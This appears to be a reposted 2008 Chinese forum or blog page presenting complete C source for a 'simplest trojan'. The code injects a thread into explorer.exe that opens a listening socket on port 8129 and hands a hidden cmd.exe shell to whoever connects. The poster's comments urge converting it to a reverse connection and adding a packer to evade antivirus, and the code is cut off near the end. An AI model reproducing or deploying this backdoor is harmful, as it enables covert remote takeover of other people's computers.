最简单的木马:一个简单的木马原型...来源: 发布时间:星期三, 2008年12月3日 浏览:10次 评论:0
我的话:因为木马采用了 正向连接模式 所以请大家修改下代码改成反相连接或端口复用的比较好……(不知道说的对不对哈…… )
原文: 添加上自己的XXX,加上变态的壳,做点小修改,就可以..... 复制内容到剪贴板 代码:#include<winsock2.h> #pragma comment(lib,"ws2_32.lib") #include<windows.h> #include <Shlwapi.h> #pragma comment(lib,"Shlwapi.lib") #include <tlhelp32.h> #include <stdio.h> #include <string.h> //参数结构 ; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara; // 提升应用级调试权限 BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName); // 远程线程执行体 DWORD __stdcall ThreadProc(RemotePara *Para) { WSADATA WSAData; WORD nVersion; SOCKET listenSocket; SOCKET clientSocket; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int iAddrSize = sizeof(client_addr); SECURITY_ATTRIBUTES sa; HANDLE hReadPipe1; HANDLE hWritePipe1; HANDLE hReadPipe2; HANDLE hWritePipe2; STARTUPINFO si; PROCESS_INFORMATION ProcessInformation; unsigned long lBytesRead = 0; typedef HINSTANCE (__stdcall *PLoadLibrary)(char*); typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE ); typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE); FARPROC PMessageBoxA; FARPROC PWSAStartup; FARPROC PSocket; FARPROC Phtons; FARPROC Pbind; FARPROC Plisten; FARPROC Paccept; FARPROC Psend; FARPROC Precv; FARPROC Pclosesocket; FARPROC PCreateProcessA; FARPROC PPeekNamedPipe; FARPROC PWriteFile; FARPROC PReadFile; FARPROC PCloseHandle; FARPROC PCreatePipe; FARPROC PTerminateProcess; PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress; PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary; PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle; LoadLibraryFunc(Para->winsockDll); PWSAStartup = (FARPROC)Para->dwWSAStartup; PSocket = (FARPROC)Para->dwSocket; Phtons = (FARPROC)Para->dwhtons; Pbind = (FARPROC)Para->dwbind; Plisten = (FARPROC)Para->dwlisten; Paccept = (FARPROC)Para->dwaccept; Psend = (FARPROC)Para->dwsend; Precv = (FARPROC)Para->dwrecv; Pclosesocket = (FARPROC)Para->dwclosesocket; PCreateProcessA = (FARPROC)Para->dwCreateProcessA; PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe; PWriteFile = (FARPROC)Para->dwWriteFile; PReadFile = (FARPROC)Para->dwReadFile; PCloseHandle = (FARPROC)Para->dwCloseHandle; PCreatePipe = (FARPROC)Para->dwCreatePipe; PTerminateProcess = (FARPROC)Para->dwTerminateProcess; PMessageBoxA = (FARPROC)Para->dwMessageBox; nVersion = MAKEWORD(2,1); PWSAStartup(nVersion, (LPWSADATA)&WSAData); listenSocket = PSocket(AF_INET, SOCK_STREAM, 0); if(listenSocket == INVALID_SOCKET)return 0; server_addr.sin_family = AF_INET; server_addr.sin_port = Phtons((unsigned short)(8129)); server_addr.sin_addr.s_addr = INADDR_ANY; if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0; if(Plisten(listenSocket, 5))return 0; clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize); // Psend(clientSocket, Para->telnetmsg, 60, 0); if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0; if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0; ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0; while(1) { memset(Para->Buff,0,4096); PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0); if(lBytesRead) { if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break; if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break; }else { lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0); if(lBytesRead <=0 ) break; if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break; } } PCloseHandle(hWritePipe2); PCloseHandle(hReadPipe1); PCloseHandle(hReadPipe2); PCloseHandle(hWritePipe1); Pclosesocket(listenSocket); Pclosesocket(clientSocket); // PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK); return 0; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { const DWORD THREADSIZE=1024*4; DWORD byte_write; void *pRemoteThread; HANDLE hToken,hRemoteProcess,hThread; HINSTANCE hKernel,hUser32,hSock; RemotePara myRemotePara,*pRemotePara; DWORD pID; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE); // 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS pID = GetPidByName("EXPLORER.EXE"); if(pID == 0)return 0; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存 pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程 if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0; ZeroMemory(&myRemotePara,sizeof(RemotePara)); hKernel = LoadLibrary( "kernel32.dll"); myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary"); myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress"); myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA"); myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA"); myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe"); myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile"); myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile"); myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle"); myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe"); myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess"); hSock = LoadLibrary("wsock32.dll"); myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup"); myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket"); myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons"); myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind"); myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen"); myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept"); myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv"); myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send"); myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket"); hUser32 = LoadLibrary("user32.dll"); myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0"); strcat(myRemotePara.winsockDll,"wsock32.dll\\0"); strcat(myRemotePara.cmd,"cmd.exe\\0"); strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程 pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE); if(!pRemotePara)return 0; if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程 hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write); while(1) {} FreeLibrary(hKernel); FreeLibrary(hSock); FreeLibrary(hUser32); CloseHandle(hRemoteProcess); CloseHandle(hToken); return 0; } BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){ TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); return((GetLastError() == ERROR_SUCCESS)); } DWORD GetPidByName(char *szName) { HANDLE hProcessSnap = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe32={0}; DWORD dwRet=0; hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE)return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0) { dwRet=pe32.th32ProcessID; break; } }while (Process32Next(hProcessSnap,&pe32)); } else 0
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